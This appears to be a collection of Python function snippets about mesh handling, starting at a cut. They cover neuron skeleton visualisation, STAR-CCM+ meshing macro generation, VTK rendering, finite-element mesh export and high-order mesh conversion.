int(semanticdict[\"value\"])\n elif \"presynaptic\" in name:\n self.con_pre = int(semanticdict[\"value\"])\n elif \"postsynaptic\" in name:\n self.con_post = int(semanticdict[\"value\"])\n\n else:\n # TODO: default\n self.con_skeleton = 1\n self.con_pre = 2\n self.con_post = 3\n\n # selection stores integer ids from connectivity_selectionID\n # when selected\n self.skeleton_selection = []\n\n # use the connectivity labels to extract the connectivity for the skeletons\n self.index_skeleton = np.where(self.connectivity_labels == self.con_skeleton)[0]\n self.index_allpre = np.where(self.connectivity_labels == self.con_pre)[0]\n self.index_allpost = np.where(self.connectivity_labels == self.con_post)[0]\n \n self.vertices = vertices_location\n self.connectivity = connectivity\n\n connectivity_skeleton = self.connectivity[self.index_skeleton]\n self.vertices_skeleton = self.vertices[ connectivity_skeleton.ravel() ]\n \n # we have a simplified connectivity now\n self.connectivity_skeleton = np.array( range(len(self.vertices_skeleton)), dtype = np.uint32 )\n self.connectivity_skeleton = self.connectivity_skeleton.reshape( (len(self.connectivity_skeleton)/2, 2) )\n self.connectivity_ids_skeleton = self.connectivity_ids[ self.index_skeleton ]\n\n # look up the start and end vertex id\n # map these to _skeleton arrays, and further to actor???\n\n # colors for skeletons\n if isinstance(connectivity_colormap, dict) and connectivity_colormap.has_key( self.con_skeleton ):\n self.connectivity_skeleton_colors = np.repeat(connectivity_colormap[self.con_skeleton], len(self.connectivity_skeleton), axis=0).astype( np.float32 )\n\n ##########\n # Incoming connectors\n ##########\n\n # extract the pre connectivity and create cones\n # store the indices for to be used to create the vector scatter\n # by itself, it represent implicitly the index used to select/deselect the vectors\n if len(self.index_allpre) == 0:\n if DEBUG:\n print \"no presynaptic connection\"\n self.pre_actor = None\n else:\n self.vertices_pre = self.vertices[ connectivity[self.index_allpre].ravel() ]\n self.pre_p1 = self.vertices_pre[::2, :] # data is NOT copied here\n self.pre_p2 = self.vertices_pre[1::2, :]\n pren = len(self.index_allpre)\n r1 = np.ones( pren, dtype = np.float32 ) * connector_size\n r2 = np.zeros( pren, dtype = np.float32 )\n if isinstance(connectivity_colormap, dict) and connectivity_colormap.has_key( self.con_pre ):\n preval = np.ones( pren, dtype = np.dtype(type(self.con_pre)) ) * self.con_pre\n else:\n preval = None\n self.pre_actor = VectorScatter( \"PreConnector\", self.pre_p1, self.pre_p2, r1, r2, values = preval,\n resolution = 8, colormap = connectivity_colormap )\n # len(self.index_pre) = len(self.pre_p1) = len(preval)\n\n ##########\n # Outgoing connectors\n ##########\n\n # extract the post connectivity and create cones\n if len(self.index_allpost) == 0:\n if DEBUG:\n print \"no postsynaptic connection\"\n self.post_actor = None\n else:\n self.vertices_post = self.vertices[ connectivity[self.index_allpost].ravel() ]\n self.post_p1 = self.vertices_post[::2, :]\n self.post_p2 = self.vertices_post[1::2, :]\n postn = len(self.index_allpost)\n r1 = np.zeros( postn, dtype = np.float32 )\n r2 = np.ones( postn, dtype = np.float32 ) * connector_size\n if isinstance(connectivity_colormap, dict) and connectivity_colormap.has_key( self.con_post ):\n postval = np.ones( postn, dtype = np.dtype(type(self.con_post)) ) * self.con_post\n else:\n postval = None\n self.post_actor = VectorScatter( \"PostConnector\", self.post_p1, self.post_p2, r1, r2, values = postval,\n resolution = 8, colormap = connectivity_colormap )\n\n ##########\n # Skeletons\n ##########\n self.skeleton = Skeleton( name = \"Polygon Lines\",\n vertices = self.vertices_skeleton,\n connectivity = self.connectivity_skeleton,\n connectivity_colors = self.connectivity_skeleton_colors,\n connectivity_ID = self.connectivity_ids_skeleton,\n linewidth = skeleton_linewidth,\n global_deselect_alpha = global_deselect_alpha,\n global_select_alpha = global_select_alpha )\n\n self.connectivity_skeletononly_ids = None\n self.connectivity_preonly_ids = None\n self.connectivity_postonly_ids = None\n\n self.global_deselect_alpha = global_deselect_alpha\n self.global_select_alpha = global_select_alpha","def write_mesh_java(self):\n fout = open(self.javaBatch1File+\".java\",\"w\")\n fout.write(\"\"\"\\\n// STAR-CCM+ macro\npackage macro;\n\nimport java.util.*;\n\nimport star.common.*;\nimport star.base.neo.*;\nimport star.resurfacer.*;\nimport star.trimmer.*;\nimport star.prismmesher.*;\nimport star.meshing.*;\n\npublic class %s extends StarMacro {\n\n public void execute() {\n execute0();\n }\n \"\"\" % (self.javaBatch1File))\n\n fout.write(\"\"\"\\\n\n private void execute0() {\n\n // Directory for output files and final sim file (if saved)\n String myPath = \"$PWD\";\n\n String myInputSTLFilename = \"%s\"; // contains aircraft geometry\n\n String myOutputMeshFilename = \"%s\"; // output sim name with volume mesh\n\n double mySphereRadius_ft = %f; // radius of freestream outer boundary in feet\n double mySphereX_ft = %f; // Center of freestream sphere in feet\n double mySphereY_ft = %f;\n double mySphereZ_ft = %f;\n double mySphereTriangles_ft = %f; // size of sphere outer boundary facets\n\n double myPrismFieldRatio = %f; // thickness ratio of near field to outermost prism\n\n int myBLcells = %d; // number of cells in boundary layer normal direction\n double myBLthickness_in = %f; // thickness of boundary layer in inches\n\n double myBaseSize_ft = %f; // mesh base size in feet\n int myCurvature = %d; // number of points to divide a circle\n double mySurfaceGrowthRate = %f; // growth rate (max size ratio) of surface triangles\n double myFeatureAngle_deg = %f; // maximum angle for defining sharp edges on ATR model\n\n double myMinMesh_pct = %f; // smallest cell size in percent\n double myEdgeTarget_pct = %f; // target size for feature curve edges in percent\n\n boolean bln_makeSurfaceMesh = %s; // use true to make surface mesh, false to skip\n boolean bln_makeVolumeMesh = %s; // use true to make volume mesh, false to skip\n boolean bln_saveMeshFile = %s; // use true to save final mesh file, false to skip\n \"\"\" % (self.STLFile,self.simMeshFile,self.mySphereRadius,self.mySphereX,self.mySphereY,\n self.mySphereZ,self.mySphereTriangles,self.myPrismFieldRatio,self.myBLcells,\n self.myBLthickness,self.myBaseSize,self.myCurvature,self.mySurfaceGrowthRate,\n self.myFeatureAngle,self.myMinMesh,self.myEdgeTarget,\n str(self.makeSurfaceMesh).lower(),str(self.makeVolumeMesh).lower(),str(self.saveMeshFile).lower()))\n\n fout.write(\"\"\"\\\n\n if (!bln_makeSurfaceMesh) bln_makeVolumeMesh = false;\n\n // Start of STAR macro\n Simulation simulation_0 = getActiveSimulation();\n\n Units units_0 = simulation_0.getUnitsManager().getPreferredUnits(new IntVector(new int[] {0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}));\n Units units_1 = ((Units) simulation_0.getUnitsManager().getObject(\"ft\"));\n units_1.setPreferred(true);\n\n PartImportManager partImportManager_0 = simulation_0.get(PartImportManager.class);\n\n // Read concatenated STL parts\n //partImportManager_0.importStlPart(resolvePath(myPath+myInputSTLFilename), \"OneSurfacePerPatch\", units_1, true, 1.0E-5);\n partImportManager_0.importStlPart(resolvePath(myInputSTLFilename), \"OneSurfacePerPatch\", units_1, true, 1.0E-5);\n\n MeshPartFactory meshPartFactory_0 = simulation_0.get(MeshPartFactory.class);\n\n SimpleSpherePart simpleSpherePart_0 = meshPartFactory_0.createNewSpherePart(simulation_0.get(SimulationPartManager.class));\n\n simpleSpherePart_0.setDoNotRetessellate(true);\n\n LabCoordinateSystem labCoordinateSystem_0 = simulation_0.getCoordinateSystemManager().getLabCoordinateSystem();\n\n simpleSpherePart_0.setCoordinateSystem(labCoordinateSystem_0);\n\n Coordinate coordinate_0 = simpleSpherePart_0.getOrigin();\n\n coordinate_0.setCoordinateSystem(labCoordinateSystem_0);\n coordinate_0.setCoordinate(units_1, units_1, units_1, new DoubleVector(new double[] {0.0, 0.0, 0.0}));\n\n // Set location of freestream sphere center (x, y, z) in feet\n coordinate_0.setValue(new DoubleVector(new double[] {mySphereX_ft, mySphereY_ft, mySphereZ_ft}));\n\n simpleSpherePart_0.getRadius().setUnits(units_1);\n\n // Set freestream sphere radius in feet\n simpleSpherePart_0.getRadius().setValue(mySphereRadius_ft);\n simpleSpherePart_0.getTessellationDensityOption().setSelected(TessellationDensityOption.MEDIUM);\n simpleSpherePart_0.rebuildSimpleShapePart();\n simpleSpherePart_0.setDoNotRetessellate(false);\n\n Region region_0 = simulation_0.getRegionManager().createEmptyRegion();\n\n region_0.setPresentationName(\"Region\");\n Boundary boundary_0 = region_0.getBoundaryManager().getBoundary(\"Default\");\n\n region_0.getBoundaryManager().removeBoundaries(new NeoObjectVector(new Object[] {boundary_0}));\n FeatureCurve featureCurve_0 = ((FeatureCurve) region_0.getFeatureCurveManager().getObject(\"Default\"));\n\n region_0.getFeatureCurveManager().removeObjects(featureCurve_0);\n FeatureCurve featureCurve_1 = region_0.getFeatureCurveManager().createEmptyFeatureCurveWithName(\"Feature Curve\");\n\n MeshPart meshPart_0 = ((MeshPart) simulation_0.get(SimulationPartManager.class).getPart(\"combined\"));\n\n simulation_0.getRegionManager().newRegionsFromParts(new NeoObjectVector(new Object[] {meshPart_0, simpleSpherePart_0}), \"OneRegion\", region_0, \"OneBoundaryPerPartSurface\", null, \"OneFeatureCurve\", featureCurve_1, false);\n\n MeshContinuum meshContinuum_0 = simulation_0.getContinuumManager().createContinuum(MeshContinuum.class);\n\n PhysicsContinuum physicsContinuum_0 = simulation_0.getContinuumManager().createContinuum(PhysicsContinuum.class);\n\n meshContinuum_0.enable(ResurfacerMeshingModel.class);\n\n // Use trimmer (Cartesian hex) mesh\n meshContinuum_0.enable(TrimmerMeshingModel.class);\n\n meshContinuum_0.enable(PrismMesherModel.class);\n\n // Base size in feet - larger values makes coarser grids, smaller values makes finer grids\n meshContinuum_0.getReferenceValues().get(BaseSize.class).setValue(myBaseSize_ft);\n\n ResurfacerMeshingModel resurfacerMeshingModel_0 = meshContinuum_0.getModelManager().getModel(ResurfacerMeshingModel.class);\n resurfacerMeshingModel_0.setDoCompatibilityRefinement(true);\n resurfacerMeshingModel_0.setDoAutomaticSurfaceRepair(false);\n\n MaxTrimmerSizeToPrismThicknessRatio maxTrimmerSizeToPrismThicknessRatio_0 = meshContinuum_0.getReferenceValues().get(MaxTrimmerSizeToPrismThicknessRatio.class);\n maxTrimmerSizeToPrismThicknessRatio_0.setLimitCellSizeByPrismThickness(true);\n SizeThicknessRatio sizeThicknessRatio_0 = maxTrimmerSizeToPrismThicknessRatio_0.getSizeThicknessRatio();\n\n // Prism to field thickness ratio\n sizeThicknessRatio_0.setNeighboringThicknessMultiplier(myPrismFieldRatio);\n\n NumPrismLayers numPrismLayers_0 = meshContinuum_0.getReferenceValues().get(NumPrismLayers.class);\n\n // Number of boundary layer cells\n numPrismLayers_0.setNumLayers(myBLcells);\n\n PrismThickness prismThickness_0 = meshContinuum_0.getReferenceValues().get(PrismThickness.class);\n\n prismThickness_0.getRelativeOrAbsoluteOption().setSelected(RelativeOrAbsoluteOption.ABSOLUTE);\n\n GenericAbsoluteSize genericAbsoluteSize_0 = ((GenericAbsoluteSize) prismThickness_0.getAbsoluteSize());\n\n Units units_2 = ((Units) simulation_0.getUnitsManager().getObject(\"in\"));\n\n genericAbsoluteSize_0.getValue().setUnits(units_2);\n\n // Boundary layer thickness in inches\n genericAbsoluteSize_0.getValue().setValue(myBLthickness_in);\n\n SurfaceCurvature surfaceCurvature_0 = meshContinuum_0.getReferenceValues().get(SurfaceCurvature.class);\n\n SurfaceCurvatureNumPts surfaceCurvatureNumPts_0 = surfaceCurvature_0.getSurfaceCurvatureNumPts();\n\n // Curvature refinement specified as number of points around a circle\n surfaceCurvatureNumPts_0.setNumPointsAroundCircle(myCurvature);\n\n SurfaceGrowthRate surfaceGrowthRate_0 = meshContinuum_0.getReferenceValues().get(SurfaceGrowthRate.class);\n\n // Surface growth rate (ratio of triangle sizes)\n surfaceGrowthRate_0.setGrowthRate(mySurfaceGrowthRate);\n\n SurfaceSize surfaceSize_0 = meshContinuum_0.getReferenceValues().get(SurfaceSize.class);\n\n RelativeMinimumSize relativeMinimumSize_0 = surfaceSize_0.getRelativeMinimumSize();\n\n // Set triangle minimum size percentage\n relativeMinimumSize_0.setPercentage(myMinMesh_pct);\n\n SimpleTemplateGrowthRate simpleTemplateGrowthRate_0 = meshContinuum_0.getReferenceValues().get(SimpleTemplateGrowthRate.class);\n\n // Set volume mesh growth rate for field (FAST, MEDIUM, SLOW, VERYSLOW)\n simpleTemplateGrowthRate_0.getGrowthRateOption().setSelected(GrowthRateOption.SLOW);\n\n // Set nearfield mesh growth rate for field (FAST, MEDIUM, SLOW, VERYSLOW)\n simpleTemplateGrowthRate_0.getSurfaceGrowthRateOption().setSelected(SurfaceGrowthRateOption.VERYSLOW);\n\n // Remove existing feature curves (will remark feature curves below)\n region_0.getFeatureCurveManager().removeObjects(featureCurve_1);\n\n MeshPipelineController meshPipelineController_0 = simulation_0.get(MeshPipelineController.class);\n\n meshPipelineController_0.initializeMeshPipeline();\n\n SurfaceRep surfaceRep_0 = ((SurfaceRep) simulation_0.getRepresentationManager().getObject(\"Initial Surface\"));\n\n Boundary boundary_1 = region_0.getBoundaryManager().getBoundary(\"combined.fuselage\");\n Boundary boundary_2 = region_0.getBoundaryManager().getBoundary(\"combined.tail\");\n Boundary boundary_3 = region_0.getBoundaryManager().getBoundary(\"combined.wing\");\n Boundary boundary_4 = region_0.getBoundaryManager().getBoundary(\"Sphere.Sphere Surface\");\n boundary_4.setBoundaryType(FreeStreamBoundary.class);\n\n // Identify feature curves using angle criteria (currently set at 17 degrees for the ATR model)\n FeatureCurve featureCurve_2 = surfaceRep_0.createFeatureEdgesOnBoundaries(new NeoObjectVector(new Object[] {boundary_1, boundary_2, boundary_3, boundary_4}), true, true, true, true, true, true, myFeatureAngle_deg, false);\n\n SurfaceSizeOption surfaceSizeOption_0 = featureCurve_2.get(MeshConditionManager.class).get(SurfaceSizeOption.class);\n\n surfaceSizeOption_0.setSurfaceSizeOption(true);\n\n SurfaceSize surfaceSize_1 = featureCurve_2.get(MeshValueManager.class).get(SurfaceSize.class);\n\n RelativeMinimumSize relativeMinimumSize_1 = surfaceSize_1.getRelativeMinimumSize();\n\n // Set feature curve minimum size (usually the same as surface triangle minimum size)\n relativeMinimumSize_1.setPercentage(myMinMesh_pct);\n\n RelativeTargetSize relativeTargetSize_0 = surfaceSize_1.getRelativeTargetSize();\n\n // Set feature curve target size as a percentage\n relativeTargetSize_0.setPercentage(myEdgeTarget_pct);\n\n SurfaceSizeOption surfaceSizeOption_1 = boundary_4.get(MeshConditionManager.class).get(SurfaceSizeOption.class);\n\n surfaceSizeOption_1.setSurfaceSizeOption(true);\n\n SurfaceSize surfaceSize_2 = boundary_4.get(MeshValueManager.class).get(SurfaceSize.class);\n\n surfaceSize_2.getRelativeOrAbsoluteOption().setSelected(RelativeOrAbsoluteOption.ABSOLUTE);\n\n AbsoluteMinimumSize absoluteMinimumSize_0 = surfaceSize_2.getAbsoluteMinimumSize();\n\n // Set minimum triangle size for freestream boundary (in feet)\n absoluteMinimumSize_0.getValue().setValue(mySphereTriangles_ft);\n\n AbsoluteTargetSize absoluteTargetSize_0 = surfaceSize_2.getAbsoluteTargetSize();\n\n // Set target triangle size for freestream boundary in feet\n absoluteTargetSize_0.getValue().setValue(mySphereTriangles_ft);\n\n // Make surface mesh\n if ( bln_makeSurfaceMesh ) meshPipelineController_0.generateSurfaceMesh();\n\n // Make volume mesh\n if ( bln_makeVolumeMesh ) meshPipelineController_0.generateVolumeMesh();\n\n // Save .sim file\n if ( bln_saveMeshFile ) simulation_0.saveState(resolvePath(myOutputMeshFilename));\n\n\n }\n}\n\"\"\")\n fout.close()","def create_mesh(self, name, primitives):\n new_mesh = self._build_mesh(primitives=primitives)\n self.meshes.append(new_mesh)\n\n # Update meshes map\n self.meshes_map[name] = self._last_index(self.meshes)\n\n return self._last_index(self.meshes)","def _build_mesh(self, primitives):\n new_mesh = {}\n\n primitives_ind = self._resolve_mapping(inp=primitives, mapping=self.primitives_map)\n new_primitives = [self.primitives[i] for i in primitives_ind]\n\n new_mesh[\"primitives\"] = new_primitives\n\n return new_mesh","def create_start_data(self):\n\t\tdef inputMesh(feature_size):\n\t\t\tc1= np.expand_dims(np.array([0,-0.9]),0)\n\t\t\tc2= np.expand_dims(np.array([-0.9,0.9]),0)\n\t\t\tc3= np.expand_dims(np.array([0.9,0.9]),0)\n\t\t\tx1 = np.expand_dims(np.pad(np.array([0,-0.9]),(0,feature_size-2),'constant',constant_values=(0,0)),0)\n\t\t\tx2 = np.expand_dims(np.pad(np.array([-0.9,0.9]),(0,feature_size-2),'constant',constant_values=(0,0)),0)\n\t\t\tx3 = np.expand_dims(np.pad(np.array([0.9,0.9]),(0,feature_size-2),'constant',constant_values=(0,0)),0)\n\t\t\tedge_index = np.transpose(np.array([[0, 1], [0, 2], [1, 0], [1, 2], [2, 0], [2, 1]])) # COO format\n\t\t\treturn np.concatenate((c1,c2,c3),axis=0), np.concatenate((x1,x2,x3),axis=0),edge_index\n\n\t\tc, x, edge_index = inputMesh(self.params.feature_size)# x is c with zeros appended, x=f ..pixel2mesh\n\t\tdata_list_x = []\n\t\tdata_list_c = []\n\t\tdata_list_pid = []\n\t\tfor i in range(self.params.batch_size):\n\t\t\tdata_list_x.append(Data(x=torch.Tensor(x).type(dtypeF), edge_index=torch.Tensor(edge_index).type(dtypeL)))\n\t\t\tdata_list_c.append(Data(x=torch.Tensor(c).type(dtypeF), edge_index=torch.Tensor(edge_index).type(dtypeL)))\n\t\t\tdata_list_pid.append(Data(x=torch.zeros(c.shape[0],1).type(dtypeL).requires_grad_(False)))\n\t\tbatch_x = Batch.from_data_list(data_list_x)\n\t\tbatch_c = Batch.from_data_list(data_list_c)\n\t\tbatch_pid = Batch.from_data_list(data_list_pid)\n\t\treturn batch_x, batch_c, batch_pid","def new_mesh_set(self, all_meshes):\n if isinstance(all_meshes, Mesh):\n mesh_tp = []\n mesh_tp.append(all_meshes)\n all_meshes = mesh_tp\n\n if not isinstance(all_meshes, list):\n raise TypeError(\"Please send a list of mesh to update_mesh\")\n self.all_meshes = all_meshes\n\n # Remove previous actors from the scene\n for actor in self.mesh_actors:\n self.parent_window.ren.RemoveActor(actor)\n self.mesh_actors = list()\n\n # Create the geometry of a point (the coordinate) points = vtkPoints()\n for i, mesh in enumerate(self.all_meshes):\n if mesh.time.size != 1:\n raise IndexError(\"Mesh should be from one frame only\")\n\n points = vtkPoints()\n for j in range(mesh.channel.size):\n # points.InsertNextPoint([0, 0, 0])\n points.InsertNextPoint(mesh.data[:3, j, 0].tolist())\n\n # Create an array for each triangle\n draw_patch = not mesh.automatic_triangles and not self.force_wireframe\n if draw_patch:\n poly_type = vtkPolygon\n n_ids = 3\n color = self.patch_color[i]\n else:\n poly_type = vtkPolyLine\n n_ids = 4\n color = self.mesh_color\n cells = vtkCellArray()\n\n # Create the polygons\n for j in range(mesh.triangles.shape[1]):\n poly = poly_type()\n poly.GetPointIds().SetNumberOfIds(n_ids) # make a tri\n for k in range(len(mesh.triangles[:, j])):\n poly.GetPointIds().SetId(k, mesh.triangles[k, j])\n if not draw_patch:\n poly.GetPointIds().SetId(3, mesh.triangles[0, j]) # Close the triangle\n cells.InsertNextCell(poly)\n\n poly_data = vtkPolyData()\n poly_data.SetPoints(points)\n if draw_patch:\n poly_data.SetPolys(cells)\n else:\n poly_data.SetLines(cells)\n\n mapper = vtkPolyDataMapper()\n mapper.SetInputData(poly_data)\n\n # Create an actor\n self.mesh_actors.append(vtkActor())\n self.mesh_actors[i].SetMapper(mapper)\n self.mesh_actors[i].GetProperty().SetColor(color)\n self.mesh_actors[i].GetProperty().SetOpacity(self.mesh_opacity)\n\n self.parent_window.ren.AddActor(self.mesh_actors[i])\n\n # Update marker position\n self.update_mesh(self.all_meshes)","def createMesh(width, height):\r\n mesh = [(x,y) for x in range(0, width+1) for y in range(0,height+1)]\r\n return mesh","def __init__(self, pos, points, triangles):\n\n CPoints = c.c_float * (len(points) * 3)\n cpoints = CPoints()\n for i in xrange(len(points)):\n for j in xrange(3):\n cpoints[(i*3)+j] = points[i][j]\n CTris = c.c_int * len(triangles*3)\n ctris = CTris()\n for i in xrange(len(triangles)):\n for j in xrange(3):\n ctris[(i*3)+j] = triangles[i][j]\n\n self.obj = _pal.lib.body_static_mesh_terrain_create(c.c_float(pos[0]), c.c_float(pos[1]), c.c_float(pos[2]),\n c.pointer(cpoints),len(points)*3, c.pointer(ctris), len(triangles)*3)\n\n self.points = points\n self._body_base = _pal.lib.cast_static_mesh_terrain_body_base(self.obj)","def __init__(self, mesh):\n self._mesh = mesh\n # number of triangles in this patch\n self._nTris = 0\n # offset into mesh._indices where this patch starts\n self._startIndex = mesh.vertexCount()\n # indices into the parent mesh's vertex list\n self._indices = []\n # r, g, b, a\n self._color = [0.1, 0.1, 0.7, 1.0]\n # 'wire', 'flat', or 'smooth'\n self._surfaceMode = 'smooth'\n # DEBUG:\n self._showNormals = False","def __init__(self,biosphere,mesh,upper_level_grid_id=0,generate_tree_now=False,grid_name='N.A.',use_id_as_name=True):\n self.taxonomies = embedTaxonomyInGrid(biosphere,mesh,upper_level_grid_id=upper_level_grid_id,generate_tree_now=generate_tree_now,use_id_as_name=use_id_as_name)\n self.extent = 'N.A.'\n self.area = 'N.A'\n self.geometry = 'N.A'\n self.grid_name = grid_name\n self.parent_id = upper_level_grid_id\n self.dArea = self.taxonomies[0].biomeGeometry.area\n self.biosphere = biosphere","def write_mesh_file(allxyz, beck_bed):\n if SAVEMESH:\n print('+> Saving finite element mesh files...', end='')\n fname = FNAME.rsplit('.', 1)[0]\n ncol = beck_bed[0,:].size\n nrow = beck_bed[:,0].size\n nele = (nrow-1)*(ncol-1)*2\n d = compute_mesh(nrow, ncol, nele)\n h = ':NodeCount ' + str(allxyz[:,0].size) + '\\n:ElementCount ' \\\n + str(nele) + '\\n#\\n:EndHeader\\n'\n with open(fname + '_mesh.t3s', 'w') as f: \n f.write(h)\n with open(fname + '_mesh.t3s', 'a') as f:\n np.savetxt(f, allxyz, fmt='%.6e')\n np.savetxt(f, d, fmt='%d')\n f.write('\\n\\n')\n h = 'TITLE = \\\"' + fname \\\n + '_mesh\\\"\\nVARIABLES = \\\"X\\\", \\\"Y\\\", \\\"' + fname \\\n + '_mesh\\\"\\nZONE NODES=' + str(allxyz[:,0].size) + ', ELEMENTS=' \\\n + str(nele) + ', DATAPACKING=POINT, ZONETYPE=FETRIANGLE\\n'\n with open(fname + '_mesh.dat', 'w') as f: \n f.write(h)\n with open(fname + '_mesh.dat', 'a') as f:\n np.savetxt(f, allxyz, fmt='%.6e')\n np.savetxt(f, d, fmt='%d')\n f.write('\\n\\n')\n inlet = np.zeros((ncol,), dtype=int)\n outlet = np.zeros((ncol,), dtype=int)\n for i in range(ncol):\n inlet[i] = 1 + i*nrow\n outlet[i] = (1 + i)*nrow\n left = np.zeros((nrow-2,), dtype=int)\n right = np.zeros((nrow-2,), dtype=int)\n for i in range(1, nrow-1):\n left[i-1] = (ncol-2)*nrow + i + 1\n right[i-1] = (ncol-1)*nrow + i + 1\n cli = np.zeros((2*(nrow+ncol-2), 13))\n cli[:,:2] = 2\n cli[:,7] = 2\n cli[:,11] = np.concatenate((inlet, outlet, left, right))\n cli[:,12] = np.arange(2*(nrow+ncol-2)) + 1\n cli[:ncol,0] = 4\n cli[:ncol,1] = 5\n cli[:ncol,2] = 5\n cli[:ncol,7] = 4\n cli[ncol:2*ncol,0] = 5\n cli[ncol:2*ncol,1] = 4\n cli[ncol:2*ncol,2] = 4\n cli[ncol:2*ncol,7] = 4\n np.savetxt(fname + '_BC_tmp.cli', cli, fmt='%d')\n with open(fname + '_BC.cli', 'w') as out_f:\n with open(fname + '_BC_tmp.cli', 'r') as in_f:\n for i, line in enumerate(in_f):\n if i < ncol:\n s = ' #Inlet'\n elif i >= ncol and i < 2*ncol:\n s = ' #Outlet'\n else:\n s = ' #'\n out_f.write(line.rstrip('\\n') + s + '\\n')\n out_f.write('\\n')\n os.remove(fname + '_BC_tmp.cli')\n h = ':FileType bc2 ASCII EnSim 1.0' \\\n + '\\n:NodeCount ' + str(allxyz[:,0].size) \\\n + '\\n:ElementCount ' + str(nele) \\\n + '\\n:ElementType T3' \\\n + '\\n:BoundarySegmentCount 2' \\\n + '\\n# id code sectionCount startNode1 endNode1 startNode2 endNode2 tracerCode name' \\\n + '\\n:BoundarySegment 1 455 1 1 ' + str(ncol) + ' 1 1 4 \\\"Inlet\\\"' \\\n + '\\n:BoundarySegment 2 544 1 ' + str(ncol+1) + ' ' + str(2*ncol) + ' 1 1 4 \\\"Outlet\\\"' \\\n + '\\n:ShorelineCount 1' \\\n + '\\n:ShorelineNodeCount ' + str(2*(nrow+ncol-2)) \\\n + '\\n:EndHeader' \\\n + '\\n:BeginNodes ' + str(allxyz[:,0].size) + '\\n'\n with open(fname + '_BC.bc2', 'w') as f: \n f.write(h)\n with open(fname + '_BC.bc2', 'a') as f:\n xyz = np.copy(allxyz)\n xyz[:,2] = 0\n np.savetxt(f, xyz, fmt='%.6e')\n f.write(':EndNodes\\n:BeginElements ' + str(nele) + '\\n')\n np.savetxt(f, d, fmt='%d')\n f.write(':EndElements\\n:BeginTable ' + str(2*(nrow+ncol-2)) + ' 15\\n')\n with open(fname + '_BC.cli', 'r') as g:\n lines = g.read()\n f.write(lines[:-1])\n f.write(':EndTable\\n\\n')\n print(' [done]')","def prog(args):\r\n i_fname, o_fname, pedestal_params, split_list, Num_W = args\r\n mesh = stl.mesh.Mesh.from_file(i_fname)\r\n #rotate mesh since by default the rotation axis is along X\r\n mesh.rotate([0,1,0],np.pi/2)\r\n\r\n v_arr = np.round(np.vstack(mesh.vectors).astype(float), decimals=1)\r\n\r\n splt0_arr = np.array(split_list)\r\n splt1_arr = np.roll(splt0_arr,-1)\r\n\r\n pos = cf.cartesian2cylyndrical(v_arr, Num_W)\r\n\r\n #make splits\r\n pos_list=[]\r\n for splt0, splt1 in zip(splt0_arr[:-1], splt1_arr[:-1]):\r\n pos_idx = np.where((splt0<=pos[:,:,2]) & (splt1>pos[:,:,2]))[0]\r\n print(splt0, splt1)\r\n #pos = [r, th, z] sectionwise\r\n pos_list.append(pos[pos_idx])\r\n #add pedestal mesh\r\n\r\n for sect_num, pos in enumerate(pos_list):\r\n pos = cf.add_pedestal(pos, pedestal_params)\r\n profiles=np.zeros_like(pos)\r\n\r\n for i in np.arange(np.shape(pos)[0]):\r\n profiles[i] = cf.cylyndrical2cartesian(pos[i])\r\n\r\n strokes = np.flipud(np.rot90(profiles))\r\n #transform data from longeron nodes [xyz] to:\r\n #a_arr - rotation angle around the rotation axis\r\n #r_arr - length of a segment perpenticular to the rotation axis and corresponding lateral mesh edge\r\n #z_arr - corresponding z coordiantes\r\n #v_arr - direction vector of the coresponding lateral mesh edge\r\n a_arr, r_arr, z_arr, v_arr = cf.transform(strokes, add_pedestal_bottom=True,add_pedestal_top=True)\r\n\r\n #make a summary plots\r\n cf.plot_loft_paths(profiles)\r\n cf.plot_loft_paths(pos)\r\n cf.plot_surf(a_arr,z_arr,r_arr)\r\n\r\n #collect data to the dictionary longeron wise\r\n res_dict = {'a_arr':np.rot90(a_arr, k=-1),\r\n 'r_arr':np.rot90(r_arr, k=-1),\r\n 'z_arr':np.rot90(z_arr, k=-1),\r\n 'v_arr':np.rot90(v_arr, k=-1)}\r\n\r\n #save result dictionary\r\n if not o_fname:\r\n o_fname = i_fname\r\n\r\n fname='{}_{}.pickle'.format(o_fname, sect_num)\r\n with open(fname, 'wb') as f:\r\n # Pickle the 'data' dictionary using the highest protocol available.\r\n pickle.dump(res_dict, f, pickle.HIGHEST_PROTOCOL)\r\n\r\n print(fname, ' saved')","def plot_fenics_mesh(mesh, new_fig=True):\n if(new_fig):\n plt.figure()\n\n plot(mesh)\n #plt.title(\"FEniCS mesh\")\n plt.show(block=False)\n\n pass","def ConvertToLinearMesh(self):\n\n self.__do_essential_memebers_exist__()\n p = self.InferPolynomialDegree()\n\n if p <= 1:\n return self\n\n if self.element_type == \"quad\" or self.element_type == \"hex\":\n if p>13 and p!=16 and p!=32:\n raise NotImplementedError(\"Cannot convert p>8 {} mesh to linear mesh\".format(self.element_type))\n\n lmesh = Mesh()\n elements = np.copy(self.elements)\n\n if self.element_type == \"quad\" or self.element_type == \"hex\":\n # This is an aranger for internal use - use PlotMeshNumbering\n # to understand the remainder of this algorithm\n if p == 2:\n aranger = [0, 1, 2]\n elif p == 3:\n aranger = [0, 3, 2, 1]\n elif p == 4:\n aranger = [0, 1, 2, 3, 4]\n elif p == 5:\n aranger = [0, 3, 4, 2, 5, 1]\n elif p == 6:\n aranger = [0, 3, 6, 1, 5, 4, 2]\n elif p == 7:\n aranger = [0, 3, 7, 5, 2, 4, 6, 1]\n elif p == 8:\n aranger = range(9)\n elif p == 9:\n aranger = [0, 2, 3, 8, 4, 5, 6, 7, 9, 1]\n elif p == 10:\n aranger = [0, 6, 7, 3, 8, 1, 4, 5, 9, 10, 2]\n elif p == 11:\n aranger = [0, 9, 10, 6, 11, 2, 3, 4, 5, 7, 8, 1]\n elif p == 12:\n aranger = [0, 7, 6, 1, 12, 5, 2, 8, 10, 3, 9, 11, 4]\n elif p == 13:\n aranger = [0, 13, 6, 2, 7, 5, 3, 9, 8, 12, 11, 10, 4, 1]\n elif p == 16:\n aranger = range(17)\n elif p == 32:\n aranger = range(33)\n else:\n # This seemingly works fine for quads for some reason, so\n # quads essentially don't need an aranger and can accomdate\n # arbitrary p\n aranger = range(p+1)\n\n\n if self.element_type == \"quad\":\n # Create a dummy hex mesh with 1 element for indexing\n mesh = Mesh()\n mesh.Square(n=1, element_type=\"quad\")\n mesh.GetHighOrderMesh(p=p, equally_spaced=True)\n # Create the mapping indices from the high order mesh\n mapper = []\n for i in range(mesh.elements.shape[1]):\n x = np.where(mesh.elements.ravel()==i)[0][0]\n mapper.append(x)\n mapper = np.array(mapper).ravel()\n\n # 